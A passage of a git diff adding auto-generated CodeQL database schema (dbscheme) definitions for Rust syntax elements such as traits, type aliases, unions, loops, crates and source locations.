+); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/rust.dbscheme b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/rust.dbscheme new file mode 100644 index 000000000000..2df29df1bf8f --- /dev/null +++ b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/rust.dbscheme @@ -0,0 +1,3612 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref 